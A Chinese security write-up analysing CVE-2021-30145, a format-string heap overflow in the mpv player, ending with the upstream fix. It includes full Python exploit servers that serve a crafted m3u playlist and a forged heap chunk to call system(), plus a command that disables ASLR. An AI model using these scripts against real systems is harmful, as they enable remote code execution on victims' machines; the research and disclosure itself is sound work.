2

某 mpv 播放器因格式化字符串导致远程代码执行漏洞深入分析(CVE-2021-30145)

 2 years ago
source link: https://paper.seebug.org/1746/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

作者:天融信阿尔法实验室
原文链接:https://mp.weixin.qq.com/s/2q8kSl6oC7ECXU8OaMwuTw

0x00 背景介绍

mpv项目是开源项目,可以在多个系统包括Windows、Linux、MacOs上运行,是一款流行的视频播放器,mpv软件在读取文件名称时存在格式化字符串漏洞,可以导致堆溢出并执行任意代码。

0x01 环境搭建

系统环境为Ubuntu x64位,软件环境可以通过两种方式搭建环境。

1.通过源码编译,源码地址为:https://github.com/mpv-player/mpv/tree/v0.33.0

下载地址为:https://github.com/mpv-player/mpv/archive/refs/tags/v0.33.0.zip

2.直接安装安装包,安装后没有符号,调试不方便,可以使用以下三条命令来安装软件:

sudo add-apt-repository ppa:mc3man/mpv-tests

sudo apt-get update

sudo apt-get install mpv

参考https://blog.csdn.net/qq_34626094/article/details/113122032

安装完成后运行软件如下所示:

图片

0x02 漏洞复现

图片

demux_mf.c文件中154行存在对sprintf函数的调用,sprintf函数是格式化字符串函数,参数1是目标缓冲区,参数2是格式化字符串,参数2是可控的,第三个参数是循环次数,mpv程序本身支持文件名中传入一个%,可以使用%d打印这个循环次数,但是由于校验不严格,并没有校验其他的格式化字符串,以及%的个数,所以存在格式化字符串漏洞:

图片

在demux_mf.c文件中127行会检查是否存在%,没有判断有几个%,以及%之后的参数。

程序存在格式化字符串漏洞,使用如下命令运行程序:./mpv -v mf://%p.%p.%p

图片

运行mpv时使用-v参数可以打印出更加详细的信息,此时可以看到打印出了栈上的信息,格式化字符串漏洞造成了信息泄漏。

demux_mf.c文件中154行存在对sprintf函数的调用,sprintf函数是格式化字符串函数,参数1是缓冲区,参数2是格式化字符串,这是可控的,现在为了安全都使用snprintf函数,可以限制缓冲区的大小,使用sprintf函数会造成信息泄漏,图中fname是堆中的缓冲区地址:

图片

程序自己实现了一个内存申请函数,包含自定义的块头结构,在函数的124行调用talloc_size来申请内存,申请大小为文件名的大小加32个字节,如果使用格式字符串例如%1000d,会把一个四字节数据扩展到占用1000个字节,这样会导致堆溢出。

图片

上图中,启动mpv时传入参数 mf://%1000d会导致程序崩溃。

0x03 漏洞分析

通过源码编译后可以根据符号对程序下断点,先查看下open_mf_pattern漏洞函数:

使用gdb启动mpv程序:gdb ./mpv

gdb-peda$ disassemble open_mf_pattern

Dump of assembler code for function open_mf_pattern:

0x00000000001e44af <+559>: call 0x1305a0 < __ sprintf_chk@plt>

可以看到在open_mf_pattern+0x559处调用的是sprintf_chk函数,这是因为使用源码编译时使用了FORTIFY_SOURCE选项,对sprintf函数的调用会自动修改为调用sprintf_chk函数,可以在gdb-peda下输入checksec检查:

gdb-peda$ checksec

CANARY : ENABLED

FORTIFY : ENABLED 可以看到开启了FORTIFY选项

NX : ENABLED

PIE : disabled

gdb-peda$

sprintf_chk函数有一个变量表明缓冲区的大小,但是因为此处缓冲区是通过talloc_size申请堆上的内存,所以没有办法在编译器确定缓冲区的大小,所以此函数使用0xFFFFFFFFFFFFFFFF来表明缓冲区的大小,这样我们就可以使用堆溢出来利用这个漏洞,实际操作中这个漏洞被利用可能性还是比较小的,本次在Ubuntu 20.04.1 LTS系统和关闭ASLR情况下利用此漏洞:

0x04 漏洞利用程序开发

开发利用程序前,需要使用sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"命令关闭系统的ASLR功能。

mpv程序运行时会把格式化字符串块保存在自定义的块中,使用talloc_size来分配内存,还有自定义的堆头结构。

   struct ta_header {
size_t size;               // size of theuser allocation
// Invariant:parent!=NULL => prev==NULL
struct ta_header *prev;     // siblings list(by destructor order)
struct ta_header *next;
// Invariant:parent==NULL || parent->child==this
struct ta_header *child;    // points tofirst child
struct ta_header *parent;   // set for_first_ child only, NULL otherwise
void (*destructor)(void *);
#ifTA_MEMORY_DEBUGGING
unsigned int canary;
struct ta_header *leak_next;
struct ta_header *leak_prev;
const char *name;
#endif
};

可以在ta.c文件中看到此结构的内容以及对应的函数,此结构中包含一个destructor,是析构指针,还有一个值是canary,编译选项TA_MEMORY_DEBUGGING默认是启用的,此值为固定值0xD3ADB3EF,是为了检测程序是否有异常。

当调用ta_free函数时会判断析构函数,如果析构函数不为空,那么会去调用析构函数。

图片

在此函数内部还调用了get_header函数,函数内容为

图片

根据堆块地址ptr往低地址偏移固定字节找到堆头结构地址tag_head*,然后调用ta_dbg_check_header函数

图片

ta_dbg_check_header函数会检查canary值是否为0xD3ADB3EF,如果parent不为空,还会判断前向节点和父节点。

  • 5.1 覆盖destructor指针

漏洞利用思路为调用sprintf函数时堆溢出到下一个堆的头结构,改变堆头结构的析构指针,当调用ta_free函数时,如果析构指针不为空,那么就会调用析构函数。

mpv程序在运行时可以读取m3u文件列表,如使用命令:
./mpv http://localhost:7000/x.m3u

mpv程序会去连接本地的7000端口,并获取x.m3u文件,获取的内容mf://及之后的内容保存在堆中,当mf://及之后的内容占用不同大小的空间时,程序会把文件名称的内容放在堆中不同的位置处,我们需要找到一个合适的大小来满足如下条件:当mpv将文件内容名称存放在堆中时,后面的内存内容包含一个自定义的堆头结构,这样当我们溢出数据时,可以操纵到后面的堆头结构内容。

使用如下的POC测试占用不同的空间可以将文件名称内容放到合适的地址处:

\#!/usr/bin/env python3  
 import socket  

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.bind(('localhost', 7000))

  s.listen(5)

  c, a = s.accept()

  playlist = b'mf://'

   playlist += b'A'*0x40

  playlist += b'%d' # we need a '%' to reach vulnerable path

   d = b'HTTP/1.1 200 OK\r\n'

   d += b'Content-type: audio/x-mpegurl\r\n'

  d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'

  d += b'\r\n'

  d += playlist

  c.send(d)

  c.close()

代码中使用playlist += b'A'*0x40来占位,0x40是经过测试的数据,笔者可以修改此值来测试占用多少字节可以申请一个合适的位置,运行此脚本文件。然后使用gdb调试mpv程序:gdb ./mpv

使用命令b *open_mf_pattern+559在调用sprintf_chk函数处下断点,使用命令运行 mpv程序:r http://localhost:7000/x.m3u

图片 可以看到第一个参数arg[0]数据为0x7fffec001210,使用命令 x/100xg 0x7fffec001210-0x50,往前偏移0x50是为了查看堆头结构的数据:

   gdb-peda$ x/100xg 0x7fffec001210-0x50

  0x7fffec0011c0:   0x0000000000000062  0x0000000000000000  [size]  |   [prev]

  0x7fffec0011d0:   0x0000000000000000  0x0000000000000000  [next]  |   [child]

  0x7fffec0011e0:   0x00007fffec0011400 0x0000000000000000  [parent]  | [destructor]

  0x7fffec001200:   0x0000000000000000  0x0000555556676b8f  [leak_prev] | [name]

  0x7fffec001210:   0x0000000000000000  0x0000000000000071 begin actual data

  \~~~

  0x7fffec001450:   0x0000000000000003  0x00007fffec004a80  [size]  |   [prev]

  0x7fffec001460:   0x0000000000000000  0x0000000000000000  [next]  |   [child]

  0x7fffec001470:   0x0000000000000000  0x0000000000000000  [parent]  | [destructor]

  0x7fffec001480:   0x00000000d3adb3ef  0x0000000000000000  [canary]  | [leak_next]

  0x7fffec001490:   0x0000000000000000  0x0000555556c288a0  [leak_prev] | [name]

  0x7fffec0014a0:   0x000000006600666d  0x00000000000000f5  begin actual data

堆块的实际数据起始地址为0x7fffec001210,堆头地址为0x7fffec0011C0,紧随其后有一个堆头结构位于0x7fffec001450。

使用如下poc脚本即可覆盖0x7fffec001450堆头结构中的destructor指针

  \#!/usr/bin/env python3

  import socket

  from pwn import *

  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  s.bind(('localhost', 7000))

  s.listen(5)

  c, a = s.accept()

  playlist = b'mf://'

  playlist += b'A'*0x10

  playlist += b'%590c%c%c%4$c%4$c%4$c%4$c%4$c%4$c%4$c%4$c\x22\x22\x22\x22\x22\x22'

  d = b'HTTP/1.1 200 OK\r\n'

  d += b'Content-type: audio/x-mpegurl\r\n'

  d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'

  d += b'\r\n'

  d += playlist

  c.send(d)

  c.close()

正常情况下%c即可格式化一个char类型的数据,使用%590c是为了似乎用空格字符占用更多的字节,让程序去处理目的地址590个字节后面的数据,%c%c的目的是跳到一个参数,该参数的值为0,%4c%4c%4c%4c将8个字节的0x00写到父指针parent中,绕过ta_dbg_check_header函数中对前向节点和父节点的检查。6个\x22将0x222222222222写入到destruct指针中。

程序会多次运行到sprintf_chk函数处,从源代码中可以看到程序会运行5次,在最后一次运行结束后,查看后续堆的头结构内容如下:

  gdb-peda$ x/20xg 0x7fffec001450

  0x7fffec001450:   0x2020202020202020  0x2020202020202020  [size]  |   [prev]

  0x7fffec001460:   0x2020202020202020  0xdf6e042020202020  [next]  |   [child]

  0x7fffec001470:   0x0000000000000000  0x0000222222222222  [parent]  | [destructor]

  0x7fffec001480:   0x00000000d3adb3ef  0x0000000000000000  [canary]  | [leak_next]

当前已经覆盖了destructor指针为0x0000222222222222,输入指令c并回车继续运行:

图片

可以看到出现段错误,RIP为0x222222222222,将要执行到RIP指向的指令,但是内存地址不合法导致程序出现段错误。

  • 5.2 覆盖child指针

目前只修改到了RIP,其他的上下文并不合适,可以换一种利用思路,通过观察源代码可以看到: 3c571d1d-fde8-4ca8-b396-359c1ef46362.jpg-w331s

在ta.c文件中可以看到调用析构函数后,还调用了ta_free_children释放子节点,在ta_free_children函数中调用ta_free释放子节点,然后在此函数中又判断子节点的destructor指针,如不为0,则调用destructor指向内存的代码。

现在需要换一种漏洞利用思路,即覆盖到堆头结构中的child指针,如果这个child块是我们自己可以构造的一个假块,构造destructor指针为system函数的地址,canary值为固定值0xd3adb3ef,还需构造假块的parent为0,就可以绕过判断,调用system函数时传入的指针为堆块的实际数据的起始地址,所以我们还需要构造这个假块的实际数据为“gnome-calculator”字符串。

还需要构造这个假块, mpv程序读取m3u文件列表时,会接收http报文,http报文中包含了文件名数据,还可以在http报文中构造一个假块,当关闭ASLR情况下,http报文中假块的堆头结构地址是固定的0x00007fffec001dd8,这个地址在不同的系统版本以及软件下可能会有变化,所以需要读者自己去定位,笔者使用如下方式定位:

1.http报文在内存中的地址与调用sprintf时的目的地址在同一块内存中。

2.程序在调用sprintf断下后,使用vmmap查看进程模块占用了哪些内存页面,查看sprintf函数的第一个参数落到哪个内存块中:

图片

如图参数1指向的内存落在0x00007fffec000000 0x00007fffec0b9000 rw-p mapped 内存块中,使用命令dump binary memory ./files_down_exp_map 0x00007fffec000000 0x00007fffec0b9000即可dump内存到磁盘上。

3.使用二进制文本搜索工具如winhex,搜索gnome-calculator,即可找到假块在文件中的数据,对应到内存中即可找到数据。

图片

图中文件偏移0x1DD8处的数据即为假块堆头结构,0x1E28处数据即为假块实际数据起始处。

4.找到假块堆头在文件中的位置为0x1DD8,那在内存中的位置为0x00007fffec000000+0x1DD8=0x00007fffec001DD8,修改对应EXP中子块的指针

图片

5.在gdb-peda插件下输入命令:print system,可以定位到system函数的地址,修改脚本中SYSTEM_ADDR为system函数对应地址。

EXP脚本如下:

\#!/usr/bin/env python3

import socket

from pwn import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('localhost', 7000))

s.listen(5)

c, a = s.accept()

playlist = b'mf://'

playlist += b'A'*0x30

playlist += b'%550c%c%c'

playlist += b'\xd8\x1d%4$c\xec\xff\x7f' # overwriting child addr with fake child

SYSTEM_ADDR = 0x7ffff760c410

CANARY   = 0xD3ADB3EF

fake_chunk = p64(0) # size

fake_chunk += p64(0) # prev

fake_chunk += p64(0) # next

fake_chunk += p64(0) # child

fake_chunk += p64(0) # parent

fake_chunk += p64(SYSTEM_ADDR) # destructor

fake_chunk += p64(CANARY) # canary

fake_chunk += p64(0) # leak_next

  fake_chunk += p64(0) # leak_prev

  fake_chunk += p64(0) # name

  d = b'HTTP/1.1 200 OK\r\n'

  d += b'Content-type: audio/x-mpegurl\r\n'

  d += b'Content-Length: '+str(len(playlist)).encode()+b'\r\n'

  d += b'PL: '

  d += fake_chunk

  d += b'gnome-calculator\x00'

  d += b'\r\n'

  d += b'\r\n'

  d += playlist

  c.send(d)

  c.close()

使用gdb启动mpv后,下断点b *open_mf_pattern+559,使用命令r http://localhost:7000/x.m3u运行程序,多次运行sprintf_chk后查看内存数据:

  gdb-peda$ x/20xg 0x7fffec001450

  0x7fffec001450:   0x2020202020202020  0x2020202020202020  

  0x7fffec001460:   0xdf5e042020202020  0x00007fffec001dd8  [next]  |   [child]

  child指针此时为0x00007fffec001dd8,查看child中的数据:

  gdb-peda$ x/20xg 0x00007fffec001dd8

  0x7fffec001dd8:   0x0000000000000000  0x0000000000000000

  0x7fffec001de8:   0x0000000000000000  0x0000000000000000

  0x7fffec001df8:   0x0000000000000000  0x00007ffff760c410  [parent]  | [destructor]

  0x7fffec001e08:   0x00000000d3adb3ef  0x0000000000000000  [canary]  | [leak_next]

地址0x7fffec001e28处对应的是堆实际数据,对应的是字符串数据gnome-calculator,

destructor为system函数的地址,按c回车运行:

图片

可以看到弹出了计算器。

总结一下利用思路:

  1. mpv程序在读取m3u文件列表时会使用http协议从服务端上取出对应的文件名称

  2. 服务端发送http报文时包含了格式化字符串以及一个构造的假块,这个假块包括伪造好的堆头结构以及堆内容

  3. mpv取到对应的文件名称时会调用sprintf_chk时将文件名作为格式化字符串去格式化一个堆空间,由于目标地址是在堆中,所以没有办法在编译器确定堆的大小,传入一个0xFFFFFFFFFFFFFFFF作为堆的大小,相当于没有对堆空间大小做限制,调用此函数会导致堆溢出,溢出到相邻的一个堆块头结构,覆盖child指针。

  4. 这个child指针指向一个假块,假块内容是服务器端使用http协议发过来的数据,假块包括头结构和实际数据,头结构中destructor字段修改system函数的地址,当释放这个child块时,会判断destructor指针是否为空,不为空则调用destructor指向的函数,参数为假块实际数据的地址,假块构造时在实际数据中填充字符串gnome-calculator,所以调用析构函数时效果相当于调用system(“gnome-calculator”)。

注意需要关闭系统的ASLR,这样system函数地址才为固定值,实际中此漏洞利用难度较大,需要绕过ASLR。

0x05 漏洞修复

目前该漏洞已经修复,本身程序运行时是支持文件名中带一个%d的格式化字符串,修复后检查只有一个%,并且是%d,如果是其他的参数则不合法。

图片

对sprintf函数的调用修改为调用snprintf,限制了缓冲区的大小。

图片

图片

0x06 参考链接

mpv 媒体播放器–mf 自定义协议漏洞(CVE-2021-30145):

https://devel0pment.de/?p=2217


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1746/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK